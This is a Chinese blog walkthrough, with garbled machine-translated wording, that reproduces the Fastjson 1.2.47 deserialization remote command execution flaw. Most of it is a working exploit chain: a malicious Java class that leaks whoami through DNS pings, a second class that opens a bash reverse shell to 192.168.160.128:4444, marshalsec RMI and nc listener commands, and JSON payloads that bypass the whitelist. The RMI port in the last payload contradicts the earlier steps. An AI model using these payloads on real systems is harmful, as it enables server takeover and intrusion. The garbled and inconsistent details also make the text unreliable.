Fastjson 1.2.47 远程命令执行漏洞

破绽简介

Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被普遍应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者能够应用特殊结构的json字符串绕过白名单检测,胜利执行恣意命令。
 


 

影响版本

Fastjson < 1.2.47
 


 

破绽复现

命令执行
①编写歹意类TouchFile.java文件,旨在执行创立文件的命令

import java.lang.Runtime;
import java.lang.Process;
 
public class Exploit{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/sh","-c","ping user.'whoami'.pj52oz.ceye.io"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

②将TouchFile.java编译成class文件。

javac TouchFile.java

③在TouchFile.calss目录下运用python开启http效劳,运用marshalsec-0.0.3-SNAPSHOT-all.jar开启RMI效劳,RMI效劳指向TouchFile.calss网址。
 

python3 -m http.server 80  //运用Python3开启Web效劳
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.160.128/#TouchFile" 1234  //marshalsec-0.0.3-SNAPSHOT-all.jar开启RMI效劳

④Burpsuite改包发送payload,文件胜利创立。

payload:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.160.128:1234/Exploit",
        "autoCommit":true
    }
}

反弹shell

①歹意类Exploit.java文件中插入反弹shell代码
 

import java.lang.Runtime;
import java.lang.Process;
 
public class Exploit{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.160.128/4444 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

②将Exploit.java编译成class文件。

javac Exploit.java

③在Exploit.calss目录下运用python开启http效劳,运用marshalsec-0.0.3-SNAPSHOT-all.jar开启RMI效劳,RMI效劳指向Exploit.calss网址,nc开启监听等候shell衔接。
 

python3 -m http.server 80  //运用Python3开启Web效劳
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.160.128/#Exploit" 1234  //marshalsec-0.0.3-SNAPSHOT-all.jar开启RMI效劳
nc -lvnp 4444  //nc等候shell衔接

④Burpsuite改包发送payload,反弹shell胜利。

payload:

{

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi://192.168.160.128:9999/Exploit",

        "autoCommit":true

    }

}

 

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞11赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片